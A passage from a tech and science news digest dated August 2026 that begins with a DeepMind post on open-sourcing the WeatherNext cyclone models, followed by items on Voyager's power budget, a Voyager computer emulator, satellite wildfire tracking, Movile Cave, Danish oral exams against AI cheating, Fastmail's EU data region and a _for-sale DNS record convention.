This collaborative work brought together AI researchers and engineers at Google DeepMind and Google Research, with expert forecasters at the National Hurricane Center (NHC), the Cooperative Institute for Research in the Atmosphere (CIRA), the UK Met Office, and weather agencies around the world.

Our research has already had real-world impact. During the 2025 hurricane season, our model helped the NHC to make a historic forecast for Hurricane Melissa by predicting the storm’s rapid intensification and landfall in Jamaica. This enabled the NHC to issue an advance warning, giving teams on the ground critical time to prepare. This year, we continue to work together and are now predicting 1,000 possible scenarios for each cyclone to help support forecasters in their decision-making.

Weather affects everyone. Given this broad impact, we are now open sourcing our WeatherNext 2 and WeatherNext Cyclones models used during the hurricane season. By making this technology openly available, we hope to empower the research community and amplify AI's impact in building more resilient communities – whether that be providing local forecasters with the tools they need to prepare for natural disasters, supporting the growth of renewable energy, or anticipating extreme weather.

How WeatherNext predicts weather and cyclones

Diagram showing the WeatherNext cyclone forecasting pipeline, illustrating a forecasted storm track with wind intensity circles over four days, alongside ensemble-based probability maps for tropical storm, severe tropical storm, and Category 1 cyclone winds.

Diagram showing the WeatherNext cyclone forecasting pipeline, illustrating a forecasted storm track with wind intensity circles over four days, alongside ensemble-based probability maps for tropical storm, severe tropical storm, and Category 1 cyclone winds.

Starting from global atmospheric conditions during Hurricane Milton (October 2024), WeatherNext Cyclones iteratively predicts both global weather patterns and fine-scale cyclone tracks up to 15 days in advance. Running a 1,000-member ensemble generates localised probability maps of tropical storm to hurricane-force winds.

Predicting cyclones has typically forced a trade-off requiring two distinct modeling techniques. A cyclone's track (where it goes) is steered by massive, global atmospheric currents, which before now have been best modeled by coarser global models. However, a cyclone’s intensity (how strong it gets) is driven by highly localized, fine-scale thermodynamic physical processes around its core, which are best modeled by specialized, higher resolution, local models.

Our WeatherNext model bridges this gap by improving forecasting for global weather overall as well as cyclones. It is a single AI model that predicts a tropical cyclone’s track, intensity, and wind structure with state-of-the-art accuracy. It achieves this breakthrough through a unique combination of its training, architecture and approach to low resolution inputs.

Three line graphs comparing track, intensity, and wind extent forecasting errors over a five-day period. Across all three metrics, the WeatherNext Cyclones model (represented by the lowest blue line) consistently maintains the lowest error rates, with horizontal arrows highlighting a roughly one-day advantage in predictive accuracy over other models.

Three line graphs comparing track, intensity, and wind extent forecasting errors over a five-day period. Across all three metrics, the WeatherNext Cyclones model (represented by the lowest blue line) consistently maintains the lowest error rates, with horizontal arrows highlighting a roughly one-day advantage in predictive accuracy over other models.

We evaluated WeatherNext Cyclones on historical cyclones from 2023 to 2024, benchmarking its deterministic and probabilistic performance against other top weather models. On average, WeatherNext Cyclones gains more than a full day (24 hours) of lead time advantage for predicting cyclone tracks, intensity, and wind structure.

The model was co-trained on two distinct data modalities: global weather dynamics and expert-curated historical cyclone observations. By training end-to-end on nearly 20 terabytes of global atmospheric data and the historical IBTrACS database spanning nearly 5,000 historical storms, the model learns complex atmospheric patterns and how to model extreme weather.

Two graphs comparing annual 3-day cyclone forecasting errors. Graph A shows WeatherNext Cyclones (blue) achieving a significantly lower position error (around 100 km) than ENS (yellow) from 2023 to 2025. Graph B shows WeatherNext Cyclones achieving a lower intensity error (around 11 kt) than HWRF (red) for the same period.

Two graphs comparing annual 3-day cyclone forecasting errors. Graph A shows WeatherNext Cyclones (blue) achieving a significantly lower position error (around 100 km) than ENS (yellow) from 2023 to 2025. Graph B shows WeatherNext Cyclones achieving a lower intensity error (around 11 kt) than HWRF (red) for the same period.

Cyclone forecast accuracy has been steadily advancing over recent decades. The plots show the 3-day accuracy of ECMWF-ENS track forecasts (a) and HWRF intensity forecasts (b) over the years, and how WeatherNext Cyclones contributes a step change in accuracy for both track and intensity. This improvement is the equivalent to a one-decade progress according to trends over the last 20 years.

Our model uses Functional Generative Networks (FGNs) to efficiently produce ensembles of different predictions, which captures the inherent uncertainty of the weather. We can now generate a single 15-day forecast in less than a minute on a TPU, empowering forecasters to quickly evaluate the probability distribution of potentially devastating tail-risks. Last year, our system produced 50 predictions at a time, matching global physics models. This year we scaled our ensemble size to 1,000 members, capturing rare but consequential scenarios like rapid intensification events, as occurred during Hurricane Melissa in 2025.

Up until now, operating at very high spatial resolution has been considered the main driver for making accurate intensity forecasts. However, WeatherNext Cyclones only needs data with a resolution of 28x28km, 100x coarser than traditional models. A smaller version of the model, WeatherNext 2-mini, which operates at a coarser 111x111km resolution, also shows great performance. This has surprised scientists, and it remains an open research question to fully understand how our models produce such accurate predictions at this resolution. We hope that, together with the research community, we can find out.

Opening up WeatherNext to the research community

Alongside our Nature paper, we are open sourcing the code and model weights, making them freely available for anyone to build on. This includes academic research, operational forecasting, or developing more specialized, localized models. We hope to accelerate progress across the global weather community and empower meteorological agencies, researchers, and nonprofits to better predict weather events of all kinds and make key decisions to protect lives and infrastructure.

We are also releasing two sets of similar models: WeatherNext Cyclones, which ran during the hurricane season (results can be seen in the paper); and WeatherNext 2, a later update that we operationalized in October. Additionally, we are releasing WeatherNext 2-mini, a compact version of the model that can run on a single TPU in a free public Colab notebook.

You can explore our latest cyclone forecasts on Weather Lab, which we recently refreshed with a new interface and expanded to include global weather forecasts alongside cyclone tracks. Weather Lab now lets you visualize WeatherNext predictions for temperature, precipitation, wind speed, and more, all in a single view. Both Weather Lab and WeatherNext models are a part of Google Earth AI.

Pushing the frontiers of AI for weather forecasting

We have achieved a historic breakthrough by gaining more than a full day of lead time for predicting cyclones — delivering an advance equivalent to a decade of meteorological progress. As we prepare for future storm seasons, we invite researchers, meteorological agencies, and experts to partner with us, build on our open source models, and explore our forecasts on Weather Lab. By combining advanced machine learning with the indispensable real-world expertise of human forecasters, we aim to create a collaborative weather forecasting ecosystem that can save lives and help communities adapt to a changing climate.

Note: For official weather forecasts and warnings, refer to your local meteorological agency or national weather service.

Read our Nature paper

Download the code

Explore Weather Lab

Read the NHC’s 2025 Verification Report

Acknowledgements

This research was co-developed by Google DeepMind and Google Research teams.

We’d like to thank our collaborators NOAA/NWS/NCEP National Hurricane Center, Cooperative Institute for Research in the Atmosphere (CIRA) and the UK Met Office for their partnership and contributions to the paper.

This work reflects the contributions of the paper’s co-authors: Ferran Alet, Tom Andersson, Ilan Price, Stratis Markou, Andrew El-Kadi, Dominic Masters, Amy Li, Samier Merchant, Natalie Williams,Gregory Thornton, Ken MacKay, Olivia Graham, Akib Uddin, Ben Gaiarin, Devaja Shah, Elinor Kruse, Wallace Hogsett, David Zelinsky, John Cangialosi, Jonathan Martinez, James Franklin, Mark DeMaria, Kate Musgrave, Caroline L. Bain, Helen Titley, Jacklynn Stott, Remi Lam, Aaron Bell, Paul Komarek, Matthew Willson, Alvaro Sanchez-Gonzalez, and Peter Battaglia.

The Daily Front Page 7 of 27
Saturday, August 8, 2026 The Daily Front No. #260808 — Signals from Sky and Space
article

NASA figured out how to keep its Voyager 2 probe running for another year

by wglb·▲ 363 points·81 comments·space.com ↗

a spacecraft consisting of a large round radar dish, three long pole-like appendages extending from an octagonal body, floating in space on a starry background

An artist's depiction of NASA's Voyager 2 probe. (Image credit: NASA/JPL-Caltech)

NASA just made an interstellar tweak to the Voyager 2 spacecraft, known as the "Big Bang", to keep its remaining 50-year-old science instruments running a little longer.

Voyager 2 and its twin launched in 1977, called Voyager 1, rely on a form of nuclear battery known as a radioisotope thermoelectric generator that uses the heat produced by the decay of plutonium. But the supply of plutonium on each probe drops at about four watts a year on each spacecraft.

To keep the probe running on this dwindling power supply, engineers recently reduced Voyager 2's power requirements by turning off a few non-science devices and using "lower-power alternatives" that are still effective enough to keep the spacecraft warm while it's so far from the sun, NASA officials said in a statement. "The spacecraft power margins have grown razor thin, requiring the team to conserve energy by shutting off non-essential devices and systems," NASA officials wrote of the mission, which is managed by the agency's Jet Propulsion Laboratory.

The drop in power is having a measurable science impact on both spacecraft — each has turned off two of their science instruments since 2024 alone. While some of these instruments were shut off after the spacecraft finished their historic planetary flybys decades ago, others were turned off due to power requirements.

Each spacecraft initially launched with 10 instruments, and Voyager 2 is now down to only three instruments. At first it looked as though Voyager 2 would have to shut down another of these instruments later this year, but luckily, the new power shifts will allow all three to operate "for at least another year," NASA said.

Voyager 1 will be tasked to do the same "Big Bang" power change "in the coming months." A signal to each spacecraft takes nearly 24 hours (or one light-day) to make a one-way journey, and officials noted Voyager 1 is further from Earth than its twin. (Voyager 2 is at about 142 astronomical units or sun-Earth distances, while Voyager 1 is nearing 171 AU.)

The two spacecraft initially launched to take advantage of a rare alignment between the outer solar system gas giant planets, which in order of distance from the sun are Jupiter, Saturn, Uranus and Neptune. Each Voyager spacecraft first flew past Jupiter and Saturn, taking unprecedented imagery of the planets and their moons.

darkness obscures half of a grey orb crisscrossed with deep lines and cracks

NASA's Voyager 2 probe captured this image of Europa, the smallest of Jupiter's four Galilean moons, on July 9, 1979. (Image credit: NASA/JPL)

Next, Voyager 1 was directed to fly above the plane of the solar system (also known as the ecliptic) while Voyager 2 continued flying past Uranus and Neptune, becoming the first spacecraft to see these worlds and their moons. Voyager 2's last planetary flyby was in 1989.

The two spacecraft continue to send scientific data from interstellar space; Voyager 1 passed into that region in 2012, while Voyager 2 did so in 2018. Voyager 1 is Earth's most distant spacecraft, currently around 15.9 billion miles (25.5 billion kilometers) away from us, according to NASA.

The Daily Front Page 8 of 27
Saturday, August 8, 2026 The Daily Front No. #260808 — Signals from Sky and Space
article

Voyager 1 FDS Computer Emulator

by rahen·▲ 81 points·13 comments·zaneham.github.io ↗

Flight Data Subsystem Emulator • 806.4 kHz • 8K × 16-bit CMOS

◈ Architecture

Clock

806.4 kHz

~400,000 instructions/sec

Cycle Time

2.48 µs

Glacial by modern standards

Memory

8K × 16-bit

CMOS RAM, two 4K banks

Registers

RA, RB + 128

Working + special registers

Serial I/O

32 in / 16 out

For all those instruments

DMA

4 channels

MDS, DSS, ISS, PRA @ 115.2 kbps

Interrupt

2.5 ms

Periodic error recovery

Word Size

16-bit

12-bit addresses, 4-bit opcode

Original Documentation
The docs folder contains scanned JPL documentation from 1974-1977, preserved by Wichita State University Special Collections.

"Voyager's last software update was in 1990. Thirty-five years of continuous operation, 24 billion kilometres from the nearest patch."

The Daily Front Page 9 of 27
Saturday, August 8, 2026 The Daily Front No. #260808 — Signals from Sky and Space
article

Europe's free satellite service just made it easier to track wildfires

by 01-_-·▲ 154 points·13 comments·arstechnica.com ↗

Copernicus Browser adds wildfire visualization amid record wildfire season.

A satellite image taken by Europe's Sentinel 2 satellites shows a wildfire and smoke near Spokane, Washington.

A satellite image taken by Europe's Sentinel 2 satellites shows a wildfire and smoke near Spokane, Washington. Credit: European Union | Copernicus Sentinel-2

The wildfires afflicting communities across the world can now be tracked more easily by anyone using Europe’s free and open satellite imagery service—all thanks to a wildfire visualization script originating from nearly a decade ago.

The Copernicus Browser provides free access to the latest satellite imagery taken by the European Space Agency’s Sentinel satellites for the European Union’s Earth observation program. The three satellites of the Sentinel-2 mission have proven especially useful for wildfire monitoring by providing multi-spectral imaging at resolutions as granular as 10 meters in visible light and near-infrared bands—and the Copernicus Browser previously offered 10 default visualization layers using different combinations of spectral bands.

Now Copernicus Browser has also added a straightforward “wildfires” visualization layer for Sentinel-2 imagery that went live on August 4. Anyone clicking on this layer while looking at a wildfire location can see active fires in white or yellow, burning vegetation in red, and burned landscapes in dark brown or black.

That helpful wildfire visualization enhancement comes from a script written in JavaScript by remote sensing expert Pierre Markuse. As explained by Geovisualization, Markuse’s script combines the red visible light band, the narrow near-infrared band to highlight the differences between healthy and burned vegetation, and the short-wave infrared 2 band to reveal burned landscape by revealing moisture levels in the soil.

Users could previously add this script manually to Copernicus Browser sessions by copying and pasting it using the custom visualization option under the default layers.

But Simon Proud, mission scientist for Sentinel-2 at the European Space Agency, pushed to get the script integrated into Copernicus Browser as a default option. He announced that the integration had finally happened in a Discord channel on a server run by the investigative journalism group Bellingcat.

There are other existing and emerging satellite constellations capable of detecting and monitoring wildfires and wildfire smoke. NASA’s FIRMS tool provides free access to a global map of fires detected by NASA satellite sensors and is rapidly updated within several hours—although such NASA satellite imagery is only available in coarser resolutions down to 250 meters.

By comparison, the Sentinel 2 satellite imagery is updated every few days but provides much higher resolution imagery in certain bands down to a 10-meter spatial resolution. That makes it arguably the best free and publicly available tool for delivering higher-resolution satellite imagery of everything from wildfires to war zones.

Unfortunately, there is no shortage of wildfires to keep an eye on across the world as climate change exacerbates traditional wildfire seasons. Much of Washington and Oregon is experiencing wildfires and smoke, Canada’s wildfire season is on track to be one of the country’s worst, and firefighters continue to battle blazes in France and Spain, where hundreds of thousands of people have evacuated during a record-breaking wildfire season.

The Daily Front Page 10 of 27
Saturday, August 8, 2026 The Daily Front No. #260808 — The World Below
article

Workers Drilling in Romania Broke into a Cave Sealed for 5.5M Years

by yk·▲ 133 points·64 comments·travelandtannins.com ↗
Almost everything alive on the surface of this planet runs, ultimately, on sunlight.

Limestone cave

Source: Wikipedia

Almost everything alive on the surface of this planet runs, ultimately, on sunlight. Plants capture light and turn it into sugar. Animals eat the plants. Other animals eat those animals. Pull the sun out of that equation and nearly every food chain we know collapses within a season. For most of scientific history, this was treated as a basic rule of biology: life needs the sun, if not directly then a few steps removed.

Then, in 1986, workers in southeastern Romania were drilling exploratory boreholes near the Black Sea coast, scouting ground for a proposed power plant. What they found instead was a hole leading down into a cave system that had been sealed off from the outside world for something on the order of five and a half million years, since long before our species existed. The air inside was toxic. There was no light, and there never had been. By every expectation, it should have been an empty stone tomb. Instead, researchers who descended into it found a thriving, complex, interconnected community of living creatures, dozens of species that exist nowhere else on Earth, surviving in permanent darkness on an energy source that has nothing to do with the sun. Here is the story of Movile Cave, the sealed world beneath Romania.

An Accidental Doorway

Limestone cave

Source: Wikipedia

The discovery was pure chance. In the mid-1980s, crews working near the port city of Mangalia, on Romania’s Black Sea coast, were drilling test holes to evaluate the ground for construction. The landscape above gives away nothing: scrubby, dusty farmland, flat and unremarkable, with no dramatic sinkhole or cave mouth to suggest that anything unusual lies beneath. Nobody had any reason to think there was a hidden world under their feet.

But the drilling broke through into a void, and that void turned out to be the entrance to a maze-like network of flooded limestone passages roughly eighteen meters, or about sixty feet, below the surface. Sealed above by thick layers of clay and limestone, the cave had no meaningful connection to the surface world. Rainwater did not seep in. Surface air did not circulate down. The system had been effectively closed since the late Miocene epoch, when the geology of the region shifted and shut the door. When scientists began exploring and studying it, they realized very quickly that this was not an ordinary cave. It was something far rarer: a sealed environment that had been running its own biological experiment, undisturbed, for millions of years, and had been opened by accident.

Proving It Was Really Sealed

Limestone cave

Source: Wikipedia

An obvious question hangs over any claim like this. How can anyone be confident that a cave was truly cut off, that nothing had been trickling in from the surface across all that time? Caves leak. Water finds its way through rock. The assertion that this system had been isolated for millions of years is an extraordinary one, and it needed extraordinary support.

Researchers found an elegant way to test it, and the timing was almost too convenient. The Chernobyl reactor accident occurred in 1986, the same year the cave was discovered, and it spread detectable radioactive isotopes across large areas of Europe, including Romanian soil. Those isotopes became a kind of chemical timestamp on surface water. So scientists tested the water inside the cave for the telltale radioactive signatures of that fallout, and found none of it. Not a trace. Whatever water was down in the cave had not come from the surface, not recently and apparently not for a very long time. It was a striking confirmation that the seal was real: one of the most widely dispersed contamination events in modern history had not penetrated a single drop into this underground world. Combined with the geology and the peculiar chemistry of the cave’s water and air, the evidence pointed to a system that had been closed off since roughly five and a half million years ago.

The Air That Would Not Sustain Us

Limestone cave

Source: Wikimedia Commons

Movile Cave is not a place a person can casually visit, and not only because access is tightly restricted and permitted only for approved researchers. The environment inside is deeply hostile to human physiology. The atmosphere in the deeper parts of the system bears very little resemblance to the air at the surface.

Oxygen levels run at roughly half of what our lungs expect. Carbon dioxide is present at concentrations enormously higher than in the outside atmosphere. The air is laced with hydrogen sulfide, the compound responsible for the smell of rotten eggs, and with methane and ammonia. The water in the cave’s pools is warm, murky, low in oxygen, and thick with dissolved chemicals. Researchers who have worked there describe an atmosphere that is acrid and pungent, an environment humans can tolerate only briefly and only with careful precautions. Everything about it reads as inhospitable, the sort of chemistry that appears on a list of reasons a place should be lifeless. And yet those same chemicals turn out to be precisely the reason the cave is not lifeless at all. What makes the air unbreathable for us is the fuel that keeps everything down there alive.

A Food Chain Built on Chemistry

Limestone cave

Source: Wikipedia

The key to Movile Cave is a process called chemosynthesis. Instead of bacteria and plants harvesting energy from light, the microbes at the base of this ecosystem pull energy from chemical reactions, oxidizing compounds like sulfide, methane, and ammonium to build the organic material that everything else depends on. These bacteria form pale, slimy microbial mats that float on the surface of the water and coat the cave walls near the pools. Those mats are the pasture of this underground world.

From there, the food web assembles itself much as it would anywhere else, just without a single photon involved. Small creatures graze the microbial mats. Larger creatures eat the grazers. Predators sit at the top. The whole structure, from the bottom up, is powered by chemistry drawn out of rock and water rather than by sunlight falling on leaves. What made this so significant scientifically is that when Movile was studied, ecosystems running independently of the sun were known essentially from one place: the deep-sea hydrothermal vents discovered on mid-ocean ridges in the late 1970s. Movile added a second, radically different example, a freshwater, land-based version sealed inside continental limestone rather than perched on the ocean floor. It was, as researchers have described it, the first such subterranean ecosystem ever found, and it forced textbook diagrams of how life on Earth is powered to be redrawn.

The Creatures in the Dark

Limestone cave

Source: Wikipedia

The inhabitants of Movile Cave read like the cast of a science fiction story. Surveys have identified somewhere around fifty invertebrate species living in the system, and the striking figure is how many of them exist nowhere else: depending on the survey and the year, roughly thirty-three to thirty-seven of them are endemic, found only in this one cave. They have been evolving in isolation, in the dark, for millions of years, and it shows.

The roster includes spiders, pseudoscorpions, woodlice, centipedes, leeches, snails, water scorpions, and a range of smaller organisms whose classification researchers are still working out. Certain features recur again and again across otherwise unrelated creatures. Most of them are blind, many having lost functional eyes entirely, because eyes are an expensive organ to maintain and useless in a place that has never had light. Most of them are also unpigmented, pale or translucent, since coloration serves little purpose where nothing can be seen. A water scorpion has abandoned eyes altogether. A blind leech swims in water no sunbeam has ever touched. A centipede with serrated hind legs was nicknamed the king of the cave by the scientists who described it. Each of these species is a small demonstration of what evolution does when you remove light from the equation and leave the process running for a few million years.

Why This Cave Matters

Beyond the sheer strangeness of it, Movile Cave has become important to science in its own right, and its significance reaches well past Romania. The cave functions as a natural laboratory for studying how life copes with extreme conditions, and researchers have used it to explore questions ranging from evolutionary biology to microbiology to the chemistry of how organisms process toxic compounds.

Its most intriguing role may be in the search for life elsewhere. An ecosystem that thrives in permanent darkness, in a chemically harsh environment, powered entirely by reactions in rock and water, is a reasonable model for what life might look like beneath the ice of certain moons in our own solar system, or below the surface of Mars. If life exists in such places, it will not be sunbathing; it will be doing something much closer to what the microbes of Movile do. That makes this cave one of the better analogs available for thinking about biology beyond Earth, and it has attracted research interest on exactly those grounds. Access to the cave remains strictly limited, which is entirely appropriate: this is a fragile system that survived untouched for millions of years and could be disrupted easily by careless visitation.

There is something humbling in the whole affair. A crew drilling a routine borehole in an unremarkable field opened a door onto a world that had been sealed since before our species existed, and inside was a complete, functioning community of life that broke one of biology’s assumed rules. It is a reminder that the planet is not finished revealing itself, that discoveries of real consequence can still turn up under a dusty patch of farmland, and that life is substantially more inventive about where and how it survives than we tend to assume. Somewhere beneath the Romanian countryside, in absolute darkness, that ancient experiment is still running.

The Daily Front Page 11 of 27
Saturday, August 8, 2026 The Daily Front No. #260808 — The Oral Examination Returns
article

Danish high schoolers will have to verbally defend written assignments

by theanonymousone·▲ 551 points·250 comments·mezha.net ↗
Danish high school students will be required to defend their written assignments orally.

Denmark Requires Oral Defenses for Students’ Written Work to Counter AI Cheating
Students at Dueholmskolen are pictured in their classroom in Nykøbing Mors, Jutland, Denmark, on March 1, 2021. Bo Amstrup/Ritzau Scanpix/AFP/Getty Images.

The policy takes effect immediately, but educators say the first response must evolve as AI tools keep advancing.

According to CNN

Danish high school students will be required to defend their written assignments orally under new government measures aimed at combating cheating with artificial intelligence.

The Ministry of Education said that an oral defense will become mandatory for all written assignments completed at home and that it will work closely with schools to develop the best framework for implementing these changes.

The regulation takes effect immediately and applies to upper-secondary students, who are typically around 16 years old. The measure concerns approximately 9,000 students enrolled in the two-year HF (Higher Preparatory Examination) program, who are required to submit major written assignments each year, the ministry said.

The ministry is also urging upper-secondary schools to use screen-monitoring tools during exams and introduce firewalls to restrict the content students can access during classes and final assignments.

In addition, schools are advised to have more assignments completed on campus under controlled conditions so that supervision can be more effective.

Reaction from the education community and next steps

Three organizations representing school leaders, teachers, and upper-secondary students welcomed the measures but called for more lasting solutions in response to the “rapid pace of technological development,” the association Danske Gymnasier reported on Thursday.

“Unfortunately, we have a problem with students using AI to cheat in upper-secondary schools. Action is needed now, and we are starting with these three initiatives. In the coming period, I will involve schools, teachers, and students in discussions about what can be done both in the short and long term to ensure that AI does not undermine students’ skills, their academic abilities, or, not least, their capacity for independent thought,”

– Magnus Heunicke

“These requirements include having students clearly state when AI has been used in major written assignments and ensuring that preparation for oral exams takes place without access to AI,”

– Anders Frikke

According to Oscar Tønsberg Hoffmann, chair of the Danish Association of Upper-Secondary Students (DGS), it is important that students have the opportunity to help develop long-term solutions and participate in shaping future policies.

“It is important that students have the opportunity to help develop long-term solutions.”

– Oscar Tønsberg Hoffmann

The Danish Association of Upper-Secondary Schools also emphasizes the need for a swift and considered response to technological development, while the Ministry of Education says that the three initiatives are only the beginning and that consultations with educational institutions, teachers, and students will continue in both the short and long term.

The government assured that efforts to prevent AI-assisted cheating and develop critical thinking and independent learning skills will remain a priority in reforming Denmark’s education system.

The Daily Front Page 12 of 27
Saturday, August 8, 2026 The Daily Front No. #260808 — Where the Mail Lives
article

Fastmail offers EU data region

by groomlake·▲ 358 points·178 comments·fastmail.com ↗
You can now make the European Union the primary home for your Fastmail data.

Data in Europe

US or EU? Your choice

Many of you have been telling us that where your email is stored matters to you. There are various reasons for this, like local law, keeping your data close to home, or compliance.

You can now make the European Union the primary home for your Fastmail data, on our own secure servers in Amsterdam. Previously, all accounts were stored entirely in the US. Now you have more choice.

Built by us, not rented from someone else

We’ve installed our own servers, co-located in a secure facility in Amsterdam, set up by our own engineers. This new location is built to the same high standards as our existing infrastructure in Philadelphia and St Louis, with our own hardware and our own software — specified right down to the exact model of disks in each machine.

In all our locations, data is stored encrypted at rest inside locked racks, and managed by our in-house team. We don’t rent computing or management services from a big cloud provider and pass on their assurances. That’s how we’ve approached privacy, reliability, and performance for more than 25 years.

For many years, we have kept at least two copies of everybody’s email on separate servers in their primary location, and at least one more in a geographically separate location to ensure data safety.

Here’s the detail about where your data will flow based on your regional choice.

If your account is in the EU region:

  • Your primary copy of data will live in the EU. The main, live copy of your mail and files will sit on our own servers in Amsterdam.
  • Incoming mail will go to EU servers by preference if you are using your own domain and Fastmail’s nameservers, or an address at one of Fastmail’s EU-region domains.
  • Our desktop, web, and mobile apps will connect to EU servers. Day to day, our apps will talk directly to our Amsterdam infrastructure. If those servers are ever unavailable, connections fall back to one of our US locations so you can still reach your mail.
  • Resilient replicas of your data will live in the US (for now). As we only have one location in Europe so far, the geographically separate copy will remain on servers in one of our US locations.

If your account is in the US region:

  • Most of your data lives in the US. Both the primary and replica locations of your mail and files will sit on our own servers in Philadelphia or St Louis.
  • Incoming mail goes to US servers by preference if you are using your own domain and Fastmail’s nameservers, or an address at one of Fastmail’s US-region domains.
  • Our desktop, web, and mobile apps will connect to US servers. Day to day, our apps will talk directly to whichever US location contains your primary data copy. If those servers are ever unavailable, connections fall back to our other US location so you can still reach your mail.

What applies to everyone:

  • We favour availability, so if your home location is down, you will temporarily connect to another of our locations so you can continue to access your data.
  • If you are using one of Fastmail’s generic non-regional domains then your mail may go in or out via either location.
  • Emergency backups for everybody are stored in our Philadelphia location. As well as the live replicas of your data, we also keep a separate set of encrypted backups taken every few hours for every account. These are in Philadelphia for all users at the moment.
  • Some data is replicated to all sites, so parts of everyone’s data are in both Europe and America. This includes email addresses and other user/customer metadata, storage for websites and the standalone Files feature, and the details of any third party services you have linked.
  • Logs are in the US. All system logs are consolidated into a single place for monitoring system health and to assist with customer support.
  • Third party services are shared. The third parties we use for debugging, billing, and support are linked to your account in the same way regardless of your region.
  • Your email client config (IMAP/POP3) does not have to change. The generic hostnames will proxy internally to your active server. We’re working on making those terminate at the closest network location. However, we also offer regional server names for each protocol to give you more control over where you connect.
  • We’re an Australian company, subject to Australian law including legal-cooperation treaties between Australia and other countries. Wherever your data is stored, we will respond the same way to lawful requests from relevant authorities (see our transparency report).

If what you need is a guarantee that your data remains only in the EU, we don’t have that, and we’d rather tell you directly than let you assume otherwise.

We made a prediction, but you can change it

We pre-selected all the users with billing addresses in or near Europe for the EU region. If you are one of these, an encrypted copy of your data was transferred to Europe in advance of this announcement, and will shortly become your primary copy. You can change region to the US and your data will migrate back.

Conversely, if we didn’t identify you for our initial group, you can put yourself in the queue to be migrated. Moves this way will be a little slower because there’s no copy of the data already in the region, so we have to sync every email across the ocean! For those moving back, there’s already a copy in the US, so only a small amount of data needs to be synchronised to fully reconcile your mailbox.

This blog post is all about giving you the facts and the tools to make the trade-off that’s right for you. Most providers decide for you and tell you as little as they can get away with. We’d rather show our work — what’s replicated, what isn’t, who can compel what — and let you choose with your eyes open.

How it works

When you sign up, you choose your region, and the primary copy of your data is placed on our secure servers in that region, with a copy also replicated to a geographically separate location. Regardless of your choice, all copies of your data are encrypted at rest. Choosing a region changes where your primary copy lives, not how well it’s protected.

If you were with us when we selected the users to transfer, we’ve pre-set your region based on your billing address. If you signed up more recently, you’ll have been allocated to the US. Either way, if you’d prefer a different region, you can switch it in your settings.

Switching region

Go to Settings → Users & Sharing → Team Settings, then look below GDPR for the Data residency section. Pick your location and we’ll move your primary copy for you. You’ll see it go from queued, to transferring, to done, and your account keeps working the whole time. You can change your mind and move back, though we may place reasonable limits on how frequently you can change region!

Your data, your call

We’re really excited to have another location, and to be able to offer this option to you. Setting this up was a significant investment. We considered a surcharge for choosing the EU, but we don’t believe that’s right. We proudly charge a fair rate for an exceptional service, and this choice should be yours. Select the region that is right for you.

The Daily Front Page 13 of 27
Saturday, August 8, 2026 The Daily Front No. #260808 — A Price Tag in DNS
article

_for-sale DNS records

by shaunpud·▲ 375 points·140 comments·specification.website ↗
If a domain is genuinely for sale, say so in DNS.

If a domain is genuinely for sale, say so in DNS. A TXT record at _for-sale.example.com advertises it to brokers and availability services without taking the site down or parking it.

What it is

_for-sale is a reserved DNS leaf node name, defined by RFC 10023 (Informational, July 2026) and registered with IANA. A TXT record published at _for-sale.example.com signals that example.com, although registered and resolving normally, is available for purchase.

_for-sale IN TXT "v=FORSALE1;furi=https://example.com/for-sale"

The record carries a mandatory version tag followed by at most one tag=value pair:

Tag Meaning Example ftxt= Free human-readable text ftxt=Eligibility criteria apply. furi= Contact or information URI furi=mailto:hq@example.com fval= Asking price, currency + amount fval=EUR2500.00 fcod= Proprietary code, by prior agreement fcod=XX-aHR0cHM...

The wrong belief to clear first is that this is a way of parking a domain. It is close to the opposite. Parking replaces the site with a sales page, which costs you every visitor the domain still has. _for-sale sits beside a live site in DNS and says nothing to a browser: the homepage keeps serving, the mail keeps flowing, and the record can be added and removed at will. RFC 10023 makes the point explicitly — the convention is designed to work while the domain is still in active use.

It is also not the same thing as registration data. WHOIS and RDAP answer “is this name registered?”; a registered name may still be purchasable, and an unregistered one may not be worth having. That gap is the whole reason the convention exists, and it is why brokers and automated availability services are the intended audience rather than people.

Why it matters

The signal a domain owner most wants to send is the one there has never been a channel for. If you are willing to sell, the interested buyer has no way to learn that short of a cold email to a WHOIS contact that privacy redaction has probably removed. Enquiries that would have been welcome never arrive, and the ones that do arrive are indistinguishable from spam.

Putting the signal in DNS rather than on the page is what makes it useful to the parties who can act on it. A broker or an availability service checking a name resolves it anyway; one extra lookup tells them what a rendered page could not, because nothing on a working homepage says “the domain under this is negotiable”. It is externally checkable, costs one record, and carries no risk to the site itself — a browser never sees it.

How to implement

Publish a single TXT record at the _for-sale leaf of the zone you are selling, and only while you mean it.

; Free text
_for-sale IN TXT "v=FORSALE1;ftxt=Serious offers only"

; A URI to negotiate through — https, mailto and tel are the usable schemes
_for-sale IN TXT "v=FORSALE1;furi=https://example.com/fs?d=eHl6"

; An asking price: uppercase currency code, then the amount
_for-sale IN TXT "v=FORSALE1;fval=USD12500"

Rules worth getting right the first time:

  • The version tag is mandatory and case-sensitive: every record starts v=FORSALE1;. It exists so a processor can tell a real _for-sale record from an unrelated TXT record that a DNS wildcard happened to expand into that name.
  • One tag-value pair per record. To publish a price and a contact URI, publish two records in the same RRset and let the processor pick what it understands. This is not SPF; the pairs do not concatenate.
  • One character-string per record, 255 octets maximum, so nothing has to be reassembled during parsing.
  • Keep the TTL at 3600 seconds or less. A stale record advertising a price you have withdrawn, or a domain you already sold, is worse than no record.
  • Place it at a leaf. _for-sale.example.com is valid at any level of the tree, but xyz._for-sale.example.com is not, and records under .arpa must be ignored — an offer to sell address space is out of scope.
  • Remove it when the domain is no longer for sale. The convention has no “not for sale” value; absence is the only way to say no.

Sign the zone with DNSSEC if you can. An unsigned TXT record asserting your domain is for sale, at a price, with a contact URI, is a comfortable thing for someone else to forge.

This site does not ship a _for-sale record: specification.website is not for sale.

Common mistakes

  • Cramming several pairs into one record. "v=FORSALE1;fval=EUR2500;furi=https://…" looks reasonable and is not what the format defines. Use one pair per record, multiple records per RRset.
  • Publishing it aspirationally. The indicator is only for domains actually available. It is not a marketing banner, and a record that exists to lure enquiries is an abuse the RFC calls out by name.
  • Assuming it obliges anyone. Publishing the record does not commit the holder to sell, and an advertised fval= price is indicative — the RFC tells processors to display a disclaimer and never to treat it as a purchase commitment.
  • Expecting a wildcard to cover a whole zone. _for-sale.*.example.com is not a valid wildcard. There is no way to put every domain under a TLD up for sale with one record.
  • Trusting the content. If you are on the reading side, ftxt= is attacker-controlled text and furi= is an attacker-controlled URI. Sanitise before display — the RFC’s own example content is <script>...</script> — and never auto-navigate a user to a furi= target without an explicit confirmation step.

Verification

dig +short TXT _for-sale.example.com
